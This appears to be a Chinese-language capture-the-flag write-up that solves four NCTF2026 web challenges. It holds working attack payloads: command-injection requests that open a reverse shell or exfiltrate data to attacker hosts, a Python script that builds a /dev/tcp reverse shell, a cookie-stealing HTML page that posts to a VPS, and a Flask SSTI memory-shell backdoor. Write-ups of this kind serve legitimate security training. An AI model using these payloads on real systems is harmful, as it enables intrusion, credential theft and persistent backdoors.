NCTF2026-web方向详解(全)
字数 4244
更新时间 2026-04-12 12:22:06

NCTF2026 Web方向题解与漏洞利用详解

概述

本文档基于NCTF2026的Web题目Writeup,详细分析四道题目(OpenShell、N-MinSite、N-Horse、N-RustPICA)的解题思路、漏洞原理和利用方法。文档将按题目拆分,深入剖析关键漏洞点、利用链构建和实际利用过程。


题目一:OpenShell

1. 题目信息

  • 应用架构:Node.js应用运行在8000端口,包含一个bot服务用于访问用户提交的URL,使用Playwright控制Chromium浏览器。
  • Flag存储:环境变量GZCTF_FLAG写入/flag文件,权限设置为chmod 000 /flag(无任何读写执行权限),文件所有者为node用户。
  • 关键限制
    • Bot只接受以.pages.dev结尾的URL(Cloudflare Pages域名)。
    • 需通过SSRF(服务器端请求伪造)让浏览器读取/flag文件。

2. 漏洞点:opencode-ai@1.2.16

2.1 /experimental/worktree 路由 (CVE-2026-22812)

  • 路由位置server/routes/experimental.ts:91-115

  • 漏洞代码

    const worktree = await Worktree.create(body) // 直接传入用户输入
    

    bodyvalidator("json", Worktree.create.schema)验证,但schemastartCommand字段仅定义为z.string().optional(),无任何过滤/校验。

  • 漏洞触发链

    1. create函数接收用户输入的startCommand
    2. 在异步任务中调用runStartScripts(info.directory, { projectID, extra }),其中extra为用户可控参数。
    3. 最终执行runStartCommand函数,通过$模板标签执行命令:
      const result = await $`bash -lc ${cmd}`.cwd(directory)
      
  • 利用原理

    • bash -lc ${cmd}中,即使Bun Shell对${cmd}进行转义,bash -lc也会将其作为shell命令解析,导致任意命令执行。
    • 执行被包装在setTimeout中,为异步“fire-and-forget”模式,攻击者无法直接获取输出,但可实现盲注(Blind Injection)。
  • 利用方式

    • 基本命令执行:
      curl -X POST http://127.0.0.1:4096/experimental/worktree \
        -H "Content-Type: application/json" \
        -d '{"name": "test", "startCommand": "id > /tmp/pwned"}'
      
    • 反弹Shell:
      curl -X POST http://127.0.0.1:4096/experimental/worktree \
        -H "Content-Type: application/json" \
        -d '{"name": "rce", "startCommand": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"}'
      
    • 带外数据泄露:
      curl -X POST http://127.0.0.1:4096/experimental/worktree \
        -H "Content-Type: application/json" \
        -d '{"name": "exfil", "startCommand": "curl http://ATTACKER.com/$(whoami)"}'
      

2.2 /file/find 路由

  • 路由位置server/routes/file.ts:12-43

  • 漏洞代码

    pattern = c.req.valid("query").pattern // 仅验证为string
    Ripgrep.search({ cwd: ..., pattern }) // 传入用户输入
    

    ripgrep.tssearch方法中,最终拼接命令并通过${{ raw: command }}执行,该语法禁用Bun Shell的转义,将内容作为原始字符串传递给shell解析器。

  • 利用原理

    • 虽然代码中使用--分隔符防止ripgrep参数注入,但${{ raw: ... }}会直接将整个字符串交给shell解析,shell会先解析;|等元字符,导致命令注入。
  • 利用方式

    • 命令执行(带输出回显):
      curl "http://127.0.0.1:4096/file/find?pattern=;id"
      curl "http://127.0.0.1:4096/file/find?pattern=|id"
      curl "http://127.0.0.1:4096/file/find?pattern=\$(id)"
      
    • 读取敏感文件:
      curl "http://127.0.0.1:4096/file/find?pattern=;cat%20/etc/passwd"
      
    • 带外数据泄露:
      curl "http://127.0.0.1:4096/file/find?pattern=;curl%20http://ATTACKER.com/\$(whoami)"
      

3. 利用链构建:从SSRF到RCE

  1. Cloudflare Pages域名准备

    • 由于bot只接受.pages.dev域名,需在Cloudflare Pages创建站点。
    • 上传恶意HTML文件,内容包含利用/file/find漏洞的Payload。
  2. 绕过跨域限制

    • 使用/file/find(GET请求)而非/experimental/worktree(POST请求),因为浏览器的no-cors模式对POST请求有严格限制(Content-Type不能为application/json)。
  3. 最终Payload

    <script>
      const target = "http://127.0.0.1:4096/find?pattern=`echo {CMD_B64}|base64 -d|bash`";
      window.open(target);
      fetch(target);
    </script>
    

    其中{CMD_B64}为Base64编码的命令(如修改/flag权限并读取)。

  4. 自动化脚本

    import base64
    import requests
    
    CHALLENGE_URL = "靶机地址"
    PUBLIC_URL = "VPS_IP"
    PUBLIC_PORT = 9999
    
    CMD = f"/bin/bash -i >& /dev/tcp/{PUBLIC_URL}/{PUBLIC_PORT} 0>&1"
    CMD_B64 = base64.b64encode(CMD.encode()).decode()
    
    pages_url = "https://恶意站点.pages.dev/index.html"
    
    resp = requests.post(
        f"http://{CHALLENGE_URL}/report",
        json={"url": pages_url},
        timeout=10,
    )
    print(f"[+] 提交状态: {resp.status_code}")
    print(resp.text)
    
  5. 获取Flag

    • 通过注入的命令修改/flag权限并读取:
      chmod 777 /flag
      cat /flag
      

题目二:N-MinSite

1. 题目信息

  • 目标:MaxSite CMS应用,存在文件包含漏洞和后台插件越权上传漏洞。
  • 初始入口:首页存在链接,指向Base64编码的路径ctf/edge_key_release_2026.php,解码后为ctf/edge_key_release_2026.php

2. 漏洞链分析

2.1 文件包含获取密钥

  • 通过require-maxsite.php的文件包含漏洞,包含ctf/update-key-require-maxsite.php文件,泄露更新密钥edge_key_release_2026
  • 使用密钥访问/update-maxsite/?edge_key_release_2026获取压缩包,内含账号密码user / minsite-user-2025

2.2 后台插件越权上传

  • 漏洞位置application/maxsite/admin/plugins/admin_page/uploads-require-maxsite.php

  • 漏洞代码

    if (!is_login()) die('no login');
    // 缺少权限校验:mso_check_allow('admin_page_edit')
    

    仅验证登录状态,未校验用户权限,导致低权限账号(users_groups_id = 2)可调用上传接口。

  • 上传路径./uploads/_pages/{page_id}/,其中page_id来自X-Requested-FileUpDir头部(必须为数字)。

  • 文件名处理:通过_slug()函数清理,但对exp.html类文件名无影响。

  • 内容写入file_put_contents($up_dir . $fn, file_get_contents('php://input')),无内容过滤。

2.3 路由访问机制

  • 无法直接访问上传脚本,因文件开头有<?php if (!defined('BASEPATH')) exit('No direct script access allowed');防止直接Web访问。
  • 需通过特定路由访问:/require-maxsite/{base64编码路径},其中路径必须满足:
    • 文件存在。
    • 文件名包含-require-maxsite.php后缀。
    • 路径在$MSO->config['base_dir']目录下。

3. 利用过程

  1. 构造上传请求

    • 路径:/require-maxsite/YWRtaW4vcGx1Z2lucy9hZG1pbl9wYWdlL3VwbG9hZHMtcmVxdWlyZS1tYXhzaXRlLnBocA==(对应admin/plugins/admin_page/uploads-require-maxsite.php的Base64编码)。
    • 头部:
      • X-Requested-Filename: 上传文件名(如test.html)。
      • X-Requested-FileUpDir: 数字ID(如1)。
      • X-Requested-ReplaceFile: true
    • 请求体:HTML内容(用于窃取Cookie或获取后台页面)。
  2. 窃取Cookie的HTML

    <!DOCTYPE html>
    <html>
    <head>
        <title>Probe</title>
    </head>
    <body>
        <script>
            var cookies = document.cookie;
            var xhr = new XMLHttpRequest();
            xhr.open('POST', 'http://VPS_IP:9999/', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr.send('cookies=' + encodeURIComponent(cookies) + '&url=' + encodeURIComponent(window.location.href));
        </script>
    </body>
    </html>
    
  3. 获取后台页面内容
    由于直接窃取Cookie后访问/admin可能被拦截,可改为上传脚本直接抓取后台页面内容并保存为新文件:

    <script>
    (async () => {
        const targetUrl = '/admin';
        const uploadUrl = '/require-maxsite/YWRtaW4vcGx1Z2lucy9hZG1pbl9wYWdlL3VwbG9hZHMtcmVxdWlyZS1tYXhzaXRlLnBocA==';
        const outputFilename = 'admin_content.html';
        try {
            const resp = await fetch(targetUrl, { credentials: 'include' });
            const content = await resp.text();
            await fetch(uploadUrl, {
                method: 'POST',
                credentials: 'include',
                headers: {
                    'Content-Type': 'application/octet-stream',
                    'X-Requested-Filename': outputFilename,
                    'X-Requested-FileUpDir': '1',
                    'X-Requested-ReplaceFile': 'true'
                },
                body: content
            });
            console.log('上传成功');
        } catch (err) {
            console.error('失败:', err);
        }
    })();
    </script>
    

    上传后访问/pages/admin_content.html获取Flag。


题目三:N-Horse

1. 题目信息

  • 漏洞类型:SSTI(服务器端模板注入)无回显。
  • 利用方式:内存马注入。

2. 利用Payload

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

3. 原理分析

  • 通过Flask的url_for.__globals__访问内置函数和模块。
  • 使用eval执行代码,在app.after_request_funcs中注册一个后处理函数。
  • 当请求包含cmd参数时,执行命令并将结果存入CmdResp,通过Flask响应返回。
  • 实现无回显SSTI到内存马的转换,后续可通过?cmd=id执行命令。

题目四:N-RustPICA

1. 题目信息

  • 扫描发现:存在/debug/assets目录。
  • API接口:通过审计/assets/index-C6xYZckD.js发现多个接口:
    • /api/auth/me
    • /api/auth/login
    • /api/auth/logout
    • /api/anime
    • /api/admin/anime
    • /api/admin/templates/review-flow
    • /api/admin/anime/${o}/transition

2. 漏洞利用链

  1. 信息泄露:访问GET /debug/config.json获取管理员账号和密码:

    • adminUser: anime_admin
    • passwordParts: Base64分段密码,拼接解码后为purestream
  2. 登录后台:使用anime_admin / purestream登录,发现隐藏功能。

  3. 状态修改:通过/api/admin/anime/${o}/transition接口将内容状态改为published,但需先获取请求体格式。

  4. 获取请求体:访问/api/admin/templates/review-flow获取transition所需的JSON结构。

  5. 触发Flag:构造请求将目标内容状态修改为published,触发Flag显示。


总结

本次NCTF2026的Web题目涵盖了多种漏洞类型和利用技巧:

  1. OpenShell:结合Cloudflare Pages域名的SSRF、Bun Shell命令注入、异步盲注和内网服务攻击。
  2. N-MinSite:文件包含泄露密钥、后台插件越权上传、路由机制绕过和Cookie窃取。
  3. N-Horse:无回显SSTI转为内存马,实现命令执行。
  4. N-RustPICA:信息泄露、API未授权访问和状态机绕过。

关键点包括:对框架特性(如Bun Shell的${{ raw: ... }})的深入理解、混合漏洞链的构建(SSRF+RCE)、权限绕过(如越权上传)和盲注场景下的外带数据技术。

相似文章
相似文章
 全屏